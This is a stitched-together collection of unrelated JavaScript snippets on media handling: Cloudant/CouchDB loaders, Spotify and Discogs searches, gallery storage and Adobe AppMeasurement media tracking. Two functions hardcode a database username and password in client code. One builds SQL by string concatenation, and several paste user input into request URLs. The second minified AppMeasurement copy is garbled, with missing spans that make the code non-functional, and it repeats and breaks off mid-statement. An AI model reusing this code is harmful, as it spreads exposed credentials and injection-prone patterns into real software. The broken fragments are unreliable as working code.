setAlbumList(mediaInfo.albumList)\n peopleList = mediaInfo.peopleList\n }\n\n // Save the parameters from the laste query\n queryCategory = paramData.MediaFilterCategory\n querySearchStr = \"\"\n if (paramData.MediaFilterSearchStr != null && paramData.MediaFilterSearchStr != \"\") {\n querySearchStr = paramData.MediaFilterSearchStr\n }\n queryMenuItem = \"\"\n if (paramData.MediaFilterMenuItem != null & paramData.MediaFilterMenuItem != \"\") {\n queryMenuItem = paramData.MediaFilterMenuItem\n }\n\n createMediaPage()\n });\n }","function paintMedias(){\n $.couch.urlPrefix = \"https://socpa.cloudant.com\";\n $.couch.login({\n name: \"socpa\",\n password: \"asdargonnijao\",\n success: function(data) {\n console.log(data);\n\n },\n error: function(status) {\n console.log(status);\n }\n });\n\n $.couch.db(\"media\").view(\"media/media\", {\n startkey: [canvas_id],\n endkey: [canvas_id,{}],\n reduce: false,\n success: function(data) {\n setMedia(data.rows,0)\n },\n error: function(status) {\n console.log(status);\n }\n\n });\n}","function AppMeasurement_Module_Media(q) {\n var b = this;\n b.s = q;\n q = window;\n q.s_c_in || (q.s_c_il = [], q.s_c_in = 0);\n b._il = q.s_c_il;\n b._in = q.s_c_in;\n b._il[b._in] = b;\n q.s_c_in++;\n b._c = \"s_m\";\n b.list = [];\n b.open = function (d, c, e, k) {\n var f = {},\n a = new Date,\n l = \"\",\n g;\n c || (c = -1);\n if (d && e) {\n b.list || (b.list = {});\n b.list[d] && b.close(d);\n k && k.id && (l = k.id);\n if (l)\n for (g in b.list) !Object.prototype[g] && b.list[g] && b.list[g].R == l && b.close(b.list[g].name);\n f.name = d;\n f.length = c;\n f.offset = 0;\n f.e = 0;\n f.playerName = b.playerName ? b.playerName : e;\n f.R = l;\n f.C = 0;\n f.a = 0;\n f.timestamp =\n Math.floor(a.getTime() / 1E3);\n f.k = 0;\n f.u = f.timestamp;\n f.c = -1;\n f.n = \"\";\n f.g = -1;\n f.D = 0;\n f.I = {};\n f.G = 0;\n f.m = 0;\n f.f = \"\";\n f.B = 0;\n f.L = 0;\n f.A = 0;\n f.F = 0;\n f.l = !1;\n f.v = \"\";\n f.J = \"\";\n f.K = 0;\n f.r = !1;\n f.H = \"\";\n f.complete = 0;\n f.Q = 0;\n f.p = 0;\n f.q = 0;\n b.list[d] = f;\n }\n };\n b.openAd = function (d, c, e, k, f, a, l, g) {\n var h = {};\n b.open(d, c, e, g);\n if (h = b.list[d]) h.l = !0, h.v = k, h.J = f, h.K = a, h.H = l;\n };\n b.M = function (d) {\n var c = b.list[d];\n b.list[d] = 0;\n c && c.monitor && clearTimeout(c.monitor.interval);\n };\n b.close = function (d) {\n b.i(d, 0, -1);\n };\n b.play = function (d, c, e, k) {\n var f = b.i(d, 1, c, e, k);\n f && !f.monitor &&\n (f.monitor = {}, f.monitor.update = function () {\n 1 == f.k && b.i(f.name, 3, -1);\n f.monitor.interval = setTimeout(f.monitor.update, 1E3);\n }, f.monitor.update());\n };\n b.click = function (d, c) {\n b.i(d, 7, c);\n };\n b.complete = function (d, c) {\n b.i(d, 5, c);\n };\n b.stop = function (d, c) {\n b.i(d, 2, c);\n };\n b.track = function (d) {\n b.i(d, 4, -1);\n };\n b.P = function (d, c) {\n var e = \"a.media.\",\n k = d.linkTrackVars,\n f = d.linkTrackEvents,\n a = \"m_i\",\n l, g = d.contextData,\n h;\n c.l && (e += \"ad.\", c.v && (g[\"a.media.name\"] = c.v, g[e + \"pod\"] = c.J, g[e + \"podPosition\"] = c.K), c.G || (g[e + \"CPM\"] = c.H));\n c.r && (g[e + \"clicked\"] = !0, c.r = !1);\n g[\"a.contentType\"] = \"video\" + (c.l ? \"Ad\" : \"\");\n g[\"a.media.channel\"] = b.channel;\n g[e + \"name\"] = c.name;\n g[e + \"playerName\"] = c.playerName;\n 0 < c.length && (g[e + \"length\"] = c.length);\n g[e + \"timePlayed\"] = Math.floor(c.a);\n 0 < Math.floor(c.a) && (g[e + \"timePlayed\"] = Math.floor(c.a));\n c.G || (g[e + \"view\"] = !0, a = \"m_s\", b.Heartbeat && b.Heartbeat.enabled && (a = c.l ? b.__primetime ? \"mspa_s\" : \"msa_s\" : b.__primetime ? \"msp_s\" : \"ms_s\"), c.G = 1);\n c.f && (g[e + \"segmentNum\"] = c.m, g[e + \"segment\"] = c.f, 0 < c.B && (g[e + \"segmentLength\"] = c.B), c.A && 0 < c.a && (g[e + \"segmentView\"] = !0));\n !c.Q && c.complete && (g[e + \"complete\"] = !0, c.S = 1);\n 0 < c.p && (g[e + \"milestone\"] = c.p);\n 0 < c.q && (g[e + \"offsetMilestone\"] = c.q);\n if (k)\n for (h in g) Object.prototype[h] || (k += \",contextData.\" + h);\n l = g[\"a.contentType\"];\n d.pe = a;\n d.pev3 = l;\n var q, s;\n if (b.contextDataMapping)\n for (h in d.events2 || (d.events2 = \"\"), k && (k += \",events\"), b.contextDataMapping)\n if (!Object.prototype[h]) {\n a = h.length > e.length && h.substring(0, e.length) == e ? h.substring(e.length) : \"\";\n l = b.contextDataMapping[h];\n if (\"string\" == typeof l)\n for (q = l.split(\",\"), s = 0; s < q.length; s++) l =\n q[s], \"a.contentType\" == h ? (k && (k += \",\" + l), d[l] = g[h]) : \"view\" == a || \"segmentView\" == a || \"clicked\" == a || \"complete\" == a || \"timePlayed\" == a || \"CPM\" == a ? (f && (f += \",\" + l), \"timePlayed\" == a || \"CPM\" == a ? g[h] && (d.events2 += (d.events2 ? \",\" : \"\") + l + \"=\" + g[h]) : g[h] && (d.events2 += (d.events2 ? \",\" : \"\") + l)) : \"segment\" == a && g[h + \"Num\"] ? (k && (k += \",\" + l), d[l] = g[h + \"Num\"] + \":\" + g[h]) : (k && (k += \",\" + l), d[l] = g[h]);\n else if (\"milestones\" == a || \"offsetMilestones\" == a) h = h.substring(0, h.length - 1), g[h] && b.contextDataMapping[h + \"s\"][g[h]] && (f && (f += \",\" + b.contextDataMapping[h +\n \"s\"][g[h]]), d.events2 += (d.events2 ? \",\" : \"\") + b.contextDataMapping[h + \"s\"][g[h]]);\n g[h] && (g[h] = 0);\n \"segment\" == a && g[h + \"Num\"] && (g[h + \"Num\"] = 0);\n }\n d.linkTrackVars = k;\n d.linkTrackEvents = f;\n };\n b.i = function (d, c, e, k, f) {\n var a = {},\n l = (new Date).getTime() / 1E3,\n g, h, q = b.trackVars,\n s = b.trackEvents,\n t = b.trackSeconds,\n u = b.trackMilestones,\n v = b.trackOffsetMilestones,\n w = b.segmentByMilestones,\n x = b.segmentByOffsetMilestones,\n p, n, r = 1,\n m = {},\n y;\n b.channel || (b.channel = b.s.w.location.hostname);\n if (a = d && b.list && b.list[d] ? b.list[d] : 0)\n if (a.l && (t = b.adTrackSeconds,\n u = b.adTrackMilestones, v = b.adTrackOffsetMilestones, w = b.adSegmentByMilestones, x = b.adSegmentByOffsetMilestones), 0 > e && (e = 1 == a.k && 0 < a.u ? l - a.u + a.c : a.c), 0 < a.length && (e = e < a.length ? e : a.length), 0 > e && (e = 0), a.offset = e, 0 < a.length && (a.e = a.offset / a.length * 100, a.e = 100 < a.e ? 100 : a.e), 0 > a.c && (a.c = e), y = a.D, m.name = d, m.ad = a.l, m.length = a.length, m.openTime = new Date, m.openTime.setTime(1E3 * a.timestamp), m.offset = a.offset, m.percent = a.e, m.playerName = a.playerName, m.mediaEvent = 0 > a.g ? \"OPEN\" : 1 == c ? \"PLAY\" : 2 == c ? \"STOP\" : 3 == c ? \"MONITOR\" :\n 4 == c ? \"TRACK\" : 5 == c ? \"COMPLETE\" : 7 == c ? \"CLICK\" : \"CLOSE\", 2 < c || c != a.k && (2 != c || 1 == a.k)) {\n f || (k = a.m, f = a.f);\n if (c) {\n 1 == c && (a.c = e);\n if ((3 >= c || 5 <= c) && 0 <= a.g && (r = !1, q = s = \"None\", a.g != e)) {\n h = a.g;\n h > e && (h = a.c, h > e && (h = e));\n p = u ? u.split(\",\") : 0;\n if (0 < a.length && p && e >= h)\n for (n = 0; n < p.length; n++) (g = p[n] ? parseFloat(\"\" + p[n]) : 0) && h / a.length * 100 < g && a.e >= g && (r = !0, n = p.length, m.mediaEvent = \"MILESTONE\", a.p = m.milestone = g);\n if ((p = v ? v.split(\",\") : 0) && e >= h)\n for (n = 0; n < p.length; n++) (g = p[n] ? parseFloat(\"\" + p[n]) : 0) && h < g && e >= g && (r = !0, n = p.length, m.mediaEvent =\n \"OFFSET_MILESTONE\", a.q = m.offsetMilestone = g);\n }\n if (a.L || !f) {\n if (w && u && 0 < a.length) {\n if (p = u.split(\",\"))\n for (p.push(\"100\"), n = h = 0; n < p.length; n++)\n if (g = p[n] ? parseFloat(\"\" + p[n]) : 0) a.e < g && (k = n + 1, f = \"M:\" + h + \"-\" + g, n = p.length), h = g;\n } else if (x && v && (p = v.split(\",\")))\n for (p.push(\"\" + (0 < a.length ? a.length : \"E\")), n = h = 0; n < p.length; n++)\n if ((g = p[n] ? parseFloat(\"\" + p[n]) : 0) || \"E\" == p[n]) {\n if (e < g || \"E\" == p[n]) k = n + 1, f = \"O:\" + h + \"-\" + g, n = p.length;\n h = g;\n }\n f && (a.L = !0);\n } (f || a.f) && f != a.f && (a.F = !0, a.f || (a.m = k, a.f = f), 0 <= a.g && (r = !0));\n (2 <= c || 100 <= a.e) && a.c < e &&\n (a.C += e - a.c, a.a += e - a.c);\n if (2 >= c || 3 == c && !a.k) a.n += (1 == c || 3 == c ? \"S\" : \"E\") + Math.floor(e), a.k = 3 == c ? 1 : c;\n !r && 0 <= a.g && 3 >= c && (t = t ? t : 0) && a.a >= t && (r = !0, m.mediaEvent = \"SECONDS\");\n a.u = l;\n a.c = e;\n }\n if (!c || 3 >= c && 100 <= a.e) 2 != a.k && (a.n += \"E\" + Math.floor(e)), c = 0, q = s = \"None\", m.mediaEvent = \"CLOSE\";\n 7 == c && (r = m.clicked = a.r = !0);\n if (5 == c || b.completeByCloseOffset && (!c || 100 <= a.e) && 0 < a.length && e >= a.length - b.completeCloseOffsetThreshold) r = m.complete = a.complete = !0;\n l = m.mediaEvent;\n \"MILESTONE\" == l ? l += \"_\" + m.milestone : \"OFFSET_MILESTONE\" == l && (l +=\n \"_\" + m.offsetMilestone);\n a.I[l] ? m.eventFirstTime = !1 : (m.eventFirstTime = !0, a.I[l] = 1);\n m.event = m.mediaEvent;\n m.timePlayed = a.C;\n m.segmentNum = a.m;\n m.segment = a.f;\n m.segmentLength = a.B;\n b.monitor && 4 != c && b.monitor(b.s, m);\n b.Heartbeat && b.Heartbeat.enabled && 0 <= a.g && (r = !1);\n 0 == c && b.M(d);\n r && a.D == y && (d = {\n contextData: {}\n }, d.linkTrackVars = q, d.linkTrackEvents = s, d.linkTrackVars || (d.linkTrackVars = \"\"), d.linkTrackEvents || (d.linkTrackEvents = \"\"), b.P(d, a), d.linkTrackVars || (d[\"!linkTrackVars\"] = 1), d.linkTrackEvents || (d[\"!linkTrackEvents\"] =\n 1), b.s.track(d), a.F ? (a.m = k, a.f = f, a.A = !0, a.F = !1) : 0 < a.a && (a.A = !1), a.n = \"\", a.p = a.q = 0, a.a -= Math.floor(a.a), a.g = e, a.D++);\n }\n return a;\n };\n b.O = function (d, c, e, k, f) {\n var a = 0;\n if (d && (!b.autoTrackMediaLengthRequired || c && 0 < c)) {\n if (b.list && b.list[d]) a = 1;\n else if (1 == e || 3 == e) b.open(d, c, \"HTML5 Video\", f), a = 1;\n a && b.i(d, e, k, -1, 0);\n }\n };\n b.attach = function (d) {\n var c, e, k;\n d && d.tagName && \"VIDEO\" == d.tagName.toUpperCase() && (b.o || (b.o = function (c, a, d) {\n var e, h;\n b.autoTrack && (e = c.currentSrc, (h = c.duration) || (h = -1), 0 > d && (d = c.currentTime), b.O(e, h, a,\n d, c));\n }), c = function () {\n b.o(d, 1, -1);\n }, e = function () {\n b.o(d, 1, -1);\n }, b.j(d, \"play\", c), b.j(d, \"pause\", e), b.j(d, \"seeking\", e), b.j(d, \"seeked\", c), b.j(d, \"ended\", function () {\n b.o(d, 0, -1);\n }), b.j(d, \"timeupdate\", c), k = function () {\n d.paused || d.ended || d.seeking || b.o(d, 3, -1);\n setTimeout(k, 1E3);\n }, k());\n };\n b.j = function (b, c, e) {\n b.attachEvent ? b.attachEvent(\"on\" + c, e) : b.addEventListener && b.addEventListener(c, e, !1);\n };\n void 0 == b.completeByCloseOffset && (b.completeByCloseOffset = 1);\n void 0 == b.completeCloseOffsetThreshold && (b.completeCloseOffsetThreshold =\n 1);\n b.Heartbeat = {};\n b.N = function () {\n var d, c;\n if (b.autoTrack && (d = b.s.d.getElementsByTagName(\"VIDEO\")))\n for (c = 0; c < d.length; c++) b.attach(d[c]);\n };\n b.j(q, \"load\", b.N);\n }","function handleMediaManagerSelect(fileData){\n quill.insertEmbed(insertPointIndex, 'image', fileData.url);\n}","async findSoundtrack(ctx, payload) {\n let music = [];\n if(payload.title != '' && payload.artist != '') {\n music = await axios.get('https://api.discogs.com/database/search?release_title='+payload.title+'&genre=Stage+&+Screen&artist='+payload.artist+'&token='+token.token)\n } else if(payload.title == '' && payload.artist != '') {\n music = await axios.get('https://api.discogs.com/database/search?genre=Stage+&+Screen&artist='+payload.artist+'&token='+token.token)\n } else if(payload.title != '' && payload.artist == '') {\n music = await axios.get('https://api.discogs.com/database/search?release_title='+payload.title+'&genre=Stage+&+Screen&token='+token.token)\n }\n let list = music.data.results.slice(music.data.results[0]);\n ctx.commit('setSoundtrackSearchResult', list);\n }","function getAllImages(){\n var contents = Contents_Live.find({ \"code\": Session.get(\"UserLogged\").code });\n var imagesArray = [];\n contents.forEach(function(doc){\n var res = doc.contentType.split(\"/\");\n if(res[0] == \"image\"){\n var obj = {\n '_id': doc._id,\n 'imageName': doc.contentName\n };\n imagesArray.push(obj);\n }\n });\n if(imagesArray.length > 0){\n return imagesArray;\n }else{\n return null;\n }\n}","static getMedium(id){\n return fetch(`${BASE_URL}media/${id}`)\n .then(res => res.json())\n }","function getSongs(callback) {\n\n}","function getMediaItems(title, commonLocation, lat, long, eventId, eventHtml) {\n getNodeMediaItems(title, commonLocation, eventId, eventHtml);\n // getTeleportdMediaItems(title, lat, long, eventId, eventHtml); // ficken\n}","function retrieveNodeMediaItemsResults(data, eventId, eventHtml) {\n var socialNetworks = Object.keys(data);\n // check if we have media at all, a bit ugly, but works\n var mediaExist = false;\n for (var i = 0, len = socialNetworks.length; i < len; i++) {\n var media = data[socialNetworks[i]];\n if (media.length) {\n mediaExist = true;\n break;\n }\n }\n if (mediaExist) {\n var html = '';\n socialNetworks.forEach(function(socialNetwork) {\n var media = data[socialNetwork];\n media.forEach(function(mediaItem) {\n if (mediaItem.type === 'photo') {\n if ((!eventMediaItems[eventId][mediaItem.mediaurl]) &&\n // TODO: very lame way to remove spammy messages with just too\n // much characters\n (mediaItem.micropost.plainText.length <= 500)) {\n html += htmlFactory.media(\n mediaItem.mediaUrl,\n mediaItem.micropost.plainText,\n mediaItem.micropostUrl);\n eventMediaItems[eventId][mediaItem.mediaUrl] = true;\n addBackgroundImage(eventPages[eventId], mediaItem.mediaUrl);\n }\n }\n });\n });\n addPageContent(eventPages[eventId], html);\n }\n // no media exist\n else {\n // ugly hack: getMediaItems gets called two times,\n // so only delete the second time we get no media\n var page = eventPages[eventId];\n var times = page.data('noMediaExistTimes') || 0;\n times++;\n page.data('noMediaExistTimes', times);\n\n // remove the page from the flipbook\n if (times == 2) {\n // find the right pagenumber by looping through all pages (sigh…)\n var pages = $('#flipbook').data('pageObjs');\n for (var pageNumber in pages) {\n if (pages[pageNumber][0] === page[0]) {\n $('#flipbook').turn('removePage', pageNumber);\n break;\n }\n }\n }\n }\n}","function getMedia() {\n\tvar results = [];\n\n\tif (extensions && extensions.hasOwnProperty('media')) {\n\t\tvar sourceArray = extensions.media;\n\n\t\tfor (index = 0; index < sourceArray.length; ++index) {\n\t\t results.push(sourceArray[index]);\n\t\t}\n\t}\n\n\treturn results;\n}","function getMediaInfos() {\n var mediaInfos = adapter.getAllMediaInfoForType(streamInfo, constants.VIDEO);\n mediaInfos = mediaInfos.concat(adapter.getAllMediaInfoForType(streamInfo, constants.AUDIO));\n mediaInfos = mediaInfos.concat(adapter.getAllMediaInfoForType(streamInfo, constants.TEXT)); // mediaInfos = mediaInfos.concat(adapter.getAllMediaInfoForType(streamInfo, constants.MUXED));\n // mediaInfos = mediaInfos.concat(adapter.getAllMediaInfoForType(streamInfo, constants.IMAGE));\n\n eventBus.trigger(events.OFFLINE_RECORD_LOADEDMETADATA, {\n id: manifestId,\n mediaInfos: mediaInfos\n });\n }","function getProductMedia(id, media_type) {\n var deferred = $q.defer();\n var query = \"SELECT * FROM product_media WHERE product_id = ? AND product_media_type = ?\";\n mysql.query(query, [id, media_type], function (err, rows) {\n if (err) deferred.reject(err);\n deferred.resolve(rows);\n });\n return deferred.promise;\n }","function getMediaQueryString(refreshToken) {\n let csrfToken = getCookie('csrf-token')\n\tlet mediaToken = refreshToken ? md5(refreshToken) : '';\n return '_csrf='+csrfToken+'&_media='+mediaToken\n}","function deleteMedias(){\n imagesToRemove = []\n console.log(\"BORRANDO\")\n $.couch.urlPrefix = \"https://socpa.cloudant.com\";\n $.couch.login({\n name: \"socpa\",\n password: \"asdargonnijao\"\n });\n\n return $.couch.db(\"media\").view(\"todelete/todelete\", {\n key: canvas_id,\n reduce: false,\n success: function(data) {\n\n },\n error: function(status) {\n console.log(status);\n }\n\n })\n}","function getSongs() {\n\n var spotify = new Spotify(keys.spotify);\n\n var songName = process.argv[3];\n\n spotify.search({ type: 'track', query: songName, limit: 1 }, function (err, data) {\n if (err) {\n return console.log('Error occurred: ' + err);\n }\n\n console.log(data.tracks.items[0].artists[0].name);\n console.log(data.tracks.items[0].album.name);\n console.log(data.tracks.items[0].name);\n console.log(data.tracks.items[0].external_urls.spotify);\n });\n\n\n}","getAllSongs() {\n Utils.get('/allSongs')\n .then((response) => {\n return response.json();\n })\n .then((json) => {\n Dispatcher.dispatch({\n type: ActionType.RECEIVE_ALL_SONGS,\n songs: json\n })\n })\n .catch((err) => {\n console.error('failed: ', err)\n })\n }","function addMedia(type,media){\n //assumption ki tabhi chlega jb dbAccess hoga\n let tx = dbAccess.transaction(\"gallery\",\"readwrite\");\n let galleryObjectStore = tx.objectStore(\"gallery\");\n let data={\n mId : Date.now(),\n type,\n media,\n };\n galleryObjectStore.add(data);\n}","function getMedia() {\n\tvar results = [];\n\n\tif (config.hasOwnProperty('extensions') && config.extensions.hasOwnProperty('media')) {\n\t\tvar sourceArray = config.extensions.media;\n\n\t\tfor (index = 0; index < sourceArray.length; ++index) {\n\t\t results.push(sourceArray[index]);\n\t\t}\n\t}\n\n\treturn results;\n}","function addAlbum(albumID) {\n var query = \" SELECT concat('file://','/', u.rpath)\";\n query += \" FROM tracks t, urls u\";\n query += \" where t.album=\"+albumID;\n query += \" and t.url=u.id\";\n query += \" order by t.discnumber, t.tracknumber\";\n var result = sql(query);\n for (var i=0; i < result.length; i++) {\n Amarok.Playlist.addMedia(new QUrl(result[i]));\n }\n}","function mediaHandler ( info, tab ) {\n sendItem( { 'imageUrl': info.srcUrl } );\n}","async function getMedia() {\n let results = res.map(post => { \n // return fetchMediaWithUrl(post[\"_links\"][\"wp:featuredmedia\"][0].href).then(images => {\n // const thumb = images[\"media_details\"].sizes.thumbnail.source_url;\n const title = post.title.rendered;\n const postId = post.id;\n const thumb = post.featured_media_src_url;\n // console.log(post.featured_media_src_url);\n // console.log(thumb);\n return { title: title, thumb: thumb, id: postId };\n //});\n });\n //return Promise.all(results);\n return results;\n}","function pubMedia(req, res) {\n return _media2.default.find({ 'pub': req.user.email },null, {sort: {created_at: -1}}).exec().then(respondWithResult(res)).catch(handleError(res));\n}","function filter (type,id_carousel){\n $(id_carousel + \" ol\").empty();\n $(id_carousel + \" .carousel-inner\").empty();\n var url;\n if (type !== \"all\"){\n url = 'https://api.spotify.com/v1/artists/'+artist_selected+'/albums?market=ES&album_type='+type+'&limit=40';\n }else{\n url = 'https://api.spotify.com/v1/artists/'+artist_selected+'/albums?market=ES&limit=40';\n }\n \n request(url,\"load_albums\",id_carousel);\n}","static addSongs() {\n fetch(\"https://itunes.apple.com/us/rss/topalbums/limit=100/json\")\n .then(resp => resp.json())\n .then(data => {\n let i = 1;\n data.feed.entry.forEach(album => {\n let newCard = new Album(i, album[\"im:image\"][0].label, album[\"im:name\"].label, album[\"im:artist\"].label, album[\"id\"].label, album[\"im:price\"].label, album[\"im:releaseDate\"].label)\n i++;\n Album.all.push(newCard);\n });\n })\n }","function allAccessSearch() {\n var deferred = Q.defer();\n\n that.pm.search(query, 25, function(err, data) {\n if (err) { deferred.reject(err); return; }\n\n var songs = (data.entries || []).map(function(res) {\n var ret = {};\n\n ret.score = res.score;\n\n if (res.type == \"1\") {\n ret.type = \"track\";\n ret.track = that._parseTrackObject(res.track);\n }\n else if (res.type == \"2\") {\n ret.type = \"artist\";\n ret.artist = res.artist;\n }\n else if (res.type == \"3\") {\n ret.type = \"album\";\n ret.album = res.album;\n }\n\n return ret;\n });\n\n deferred.resolve(songs);\n });\n\n return deferred.promise;\n }","function AppMeasurement_Module_Media(s){var m=this;m.s=s;s=window;if(!s.s_c_in)s.s_c_il=[],s.s_c_in=0;m._il=s.s_c_il;m._in=s.s_c_in;m._il[m._in]=m;s.s_c_in++;m._c=\"s_m\";m.list=[];m.open=function(w,b,c,h){var d={},a=new Date,g=\"\",e;b||(b=-1);if(w&&c){if(!m.list)m.list={};m.list[w]&&m.close(w);if(h&&h.id)g=h.id;if(g)for(e in m.list)!Object.prototype[e]&&m.list[e]&&m.list[e].S==g&&m.close(m.list[e].name);d.name=w;d.length=b;d.u=0;d.c=0;d.playerName=m.playerName?m.playerName:c;d.S=g;d.L=0;d.f=0;d.timestamp=\r\n\t\tMath.floor(a.getTime()/1E3);d.j=0;d.r=d.timestamp;d.a=-1;d.B=\"\";d.k=-1;d.C=0;d.H={};d.F=0;d.m=0;d.e=\"\";d.A=0;d.K=0;d.z=0;d.D=0;d.l=!1;d.v=\"\";d.I=\"\";d.J=0;d.q=!1;d.G=\"\";d.complete=0;d.Q=0;d.o=0;d.p=0;m.list[w]=d}};m.openAd=function(w,b,c,h,d,a,g,e){var f={};m.open(w,b,c,e);if(f=m.list[w])f.l=!0,f.v=h,f.I=d,f.J=a,f.G=g};m.M=function(w){var b=m.list[w];m.list[w]=0;b&&b.monitor&&clearTimeout(b.monitor.R)};m.close=function(w){m.g(w,0,-1)};m.play=function(w,b,c,h){var d=m.g(w,1,b,c,h);if(d&&!d.monitor)d.monitor=\r\n\t\t{},d.monitor.update=function(){d.j==1&&m.g(d.name,3,-1);d.monitor.R=setTimeout(d.monitor.update,1E3)},d.monitor.update()};m.click=function(w,b){m.g(w,7,b)};m.complete=function(w,b){m.g(w,5,b)};m.stop=function(w,b){m.g(w,2,b)};m.track=function(w){m.g(w,4,-1)};m.P=function(w,b){var c=\"a.media.\",h=w.linkTrackVars,d=w.linkTrackEvents,a=\"m_i\",g,e=w.contextData,f;if(b.l){c+=\"ad.\";if(b.v)e[\"a.media.name\"]=b.v,e[c+\"pod\"]=b.I,e[c+\"podPosition\"]=b.J;if(!b.F)e[c+\"CPM\"]=b.G}if(b.q)e[c+\"clicked\"]=!0,b.q=!1;e[\"a.contentType\"]=\r\n\t\t\"video\"+(b.l?\"Ad\":\"\");e[\"a.media.channel\"]=m.channel;e[c+\"name\"]=b.name;e[c+\"playerName\"]=b.playerName;if(b.length>0)e[c+\"length\"]=b.length;e[c+\"timePlayed\"]=Math.floor(b.f);Math.floor(b.f)>0&&(e[c+\"timePlayed\"]=Math.floor(b.f));if(!b.F)e[c+\"view\"]=!0,a=\"m_s\",b.F=1;if(b.e){e[c+\"segmentNum\"]=b.m;e[c+\"segment\"]=b.e;if(b.A>0)e[c+\"segmentLength\"]=b.A;b.z&&b.f>0&&(e[c+\"segmentView\"]=!0)}if(!b.Q&&b.complete)e[c+\"complete\"]=!0,b.T=1;if(b.o>0)e[c+\"milestone\"]=b.o;if(b.p>0)e[c+\"offsetMilestone\"]=b.p;if(h)for(f in e)Object.prototype[f]||\r\n\t\t(h+=\",contextData.\"+f);g=e[\"a.contentType\"];w.pe=a;w.pev3=g;var s,n;if(m.contextDataMapping){if(!w.events2)w.events2=\"\";h&&(h+=\",events\");for(f in m.contextDataMapping)if(!Object.prototype[f]){a=f.length>c.length&&f.substring(0,c.length)==c?f.substring(c.length):\"\";g=m.contextDataMapping[f];if(typeof g==\"string\"){s=g.split(\",\");for(n=0;n0?g-a.r+a.a:\r\n\t\ta.a);a.length>0&&(c=c0)a.c=a.u/a.length*100,a.c=a.c>100?100:a.c;if(a.a<0)a.a=c;u=a.C;i.name=w;i.ad=a.l;i.length=a.length;i.openTime=new Date;i.openTime.setTime(a.timestamp*1E3);i.offset=a.u;i.percent=a.c;i.playerName=a.playerName;i.mediaEvent=a.k<0?\"OPEN\":b==1?\"PLAY\":b==2?\"STOP\":b==3?\"MONITOR\":b==4?\"TRACK\":b==5?\"COMPLETE\":b==7?\"CLICK\":\"CLOSE\";if(b>2||b!=a.j&&(b!=2||a.j==1)){if(!d)h=a.m,d=a.e;if(b){if(b==1)a.a=c;if((b<=3||b>=5)&&a.k>=0)if(l=!1,s=n=\r\n\t\t\"None\",a.k!=c){f=a.k;if(f>c)f=a.a,f>c&&(f=c);k=p?p.split(\",\"):0;if(a.length>0&&k&&c>=f)for(j=0;j=e)l=!0,j=k.length,i.mediaEvent=\"MILESTONE\",a.o=i.milestone=e;if((k=q?q.split(\",\"):0)&&c>=f)for(j=0;j=e)l=!0,j=k.length,i.mediaEvent=\"OFFSET_MILESTONE\",a.p=i.offsetMilestone=e}if(a.K||!d){if(r&&p&&a.length>0){if(k=p.split(\",\")){k.push(\"100\");for(j=f=0;j0?a.length:\"E\"));for(j=f=0;j=0&&(l=!0)}if((b>=2||a.c>=100)&&a.a=0&&b<=3&&(o=o?o:0)&&a.f>=o)l=!0,i.mediaEvent=\r\n\t\t\"SECONDS\";a.r=g;a.a=c}if(!b||b<=3&&a.c>=100)a.j!=2&&(a.B+=\"E\"+Math.floor(c)),b=0,s=n=\"None\",i.mediaEvent=\"CLOSE\";if(b==7)l=i.clicked=a.q=!0;if(b==5||m.completeByCloseOffset&&(!b||a.c>=100)&&a.length>0&&c>=a.length-m.completeCloseOffsetThreshold)l=i.complete=a.complete=!0;g=i.mediaEvent;g==\"MILESTONE\"?g+=\"_\"+i.milestone:g==\"OFFSET_MILESTONE\"&&(g+=\"_\"+i.offsetMilestone);a.H[g]?i.eventFirstTime=!1:(i.eventFirstTime=!0,a.H[g]=1);i.event=i.mediaEvent;i.timePlayed=a.L;i.segmentNum=a.m;i.segment=a.e;i.segmentLength=\r\n\t\ta.A;m.monitor&&b!=4&&m.monitor(m.s,i);b==0&&m.M(w);if(l&&a.C==u){w={};w.contextData={};w.linkTrackVars=s;w.linkTrackEvents=n;if(!w.linkTrackVars)w.linkTrackVars=\"\";if(!w.linkTrackEvents)w.linkTrackEvents=\"\";m.P(w,a);w.linkTrackVars||(w[\"!linkTrackVars\"]=1);w.linkTrackEvents||(w[\"!linkTrackEvents\"]=1);m.s.track(w);if(a.D)a.m=h,a.e=d,a.z=!0,a.D=!1;else if(a.f>0)a.z=!1;a.B=\"\";a.o=a.p=0;a.f-=Math.floor(a.f);a.k=c;a.C++}}}return a};m.O=function(w,b,c,h,d){var a=0;if(w&&(!m.autoTrackMediaLengthRequired||\r\n\t\tb&&b>0)){if(!m.list||!m.list[w]){if(c==1||c==3)m.open(w,b,\"HTML5 Video\",d),a=1}else a=1;a&&m.g(w,c,h,-1,0)}};m.attach=function(w){var b,c,h;if(w&&w.tagName&&w.tagName.toUpperCase()==\"VIDEO\"){if(!m.n)m.n=function(b,a,w){var c,f;if(m.autoTrack){c=b.currentSrc;(f=b.duration)||(f=-1);if(w<0)w=b.currentTime;m.O(c,f,a,w,b)}};b=function(){m.n(w,1,-1)};c=function(){m.n(w,1,-1)};m.i(w,\"play\",b);m.i(w,\"pause\",c);m.i(w,\"seeking\",c);m.i(w,\"seeked\",b);m.i(w,\"ended\",function(){m.n(w,0,-1)});m.i(w,\"timeupdate\",\r\n\t\tb);h=function(){!w.paused&&!w.ended&&!w.seeking&&m.n(w,3,-1);setTimeout(h,1E3)};h()}};m.i=function(m,b,c){m.attachEvent?m.attachEvent(\"on\"+b,c):m.addEventListener&&m.addEventListener(b,c,!1)};if(m.completeByCloseOffset==void 0)m.completeByCloseOffset=1;if(m.completeCloseOffsetThreshold==void 0)m.completeCloseOffsetThreshold=1;m.N=function(){var w,b;if(m.autoTrack&&(w=m.s.d.getElementsByTagName(\"VIDEO\")))for(b=0;b0)e[c+\"length\"]=b.length;e[c+\"timePlayed\"]=Math.floor(b.f);Math.floor(b.f)>0&&(e[c+\"timePlayed\"]=Math.floor(b.f));if(!b.F)e[c+\"view\"]=!0,a=\"m_s\",b.F=1;if(b.e){e[c+\"segmentNum\"]=b.m;e[c+\"segment\"]=b.e;if(b.A>0)e[c+\"segmentLength\"]=b.A;b.z&&b.f>0&&(e[c+\"segmentView\"]=!0)}if(!b.Q&&b.complete)e[c+\"complete\"]=!0,b.T=1;if(b.o>0)e[c+\"milestone\"]=b.o;if(b.p>0)e[c+\"offsetMilestone\"]=b.p;if(h)for(f in e)Object.prototype[f]||\r\n(h+=\",contextData.\"+f);g=e[\"a.contentType\"];w.pe=a;w.pev3=g;var s,n;if(m.contextDataMapping){if(!w.events2)w.events2=\"\";h&&(h+=\",events\");for(f in m.contextDataMapping)if(!Object.prototype[f]){a=f.length>c.length&&f.substring(0,c.length)==c?f.substring(c.length):\"\";g=m.contextDataMapping[f];if(typeof 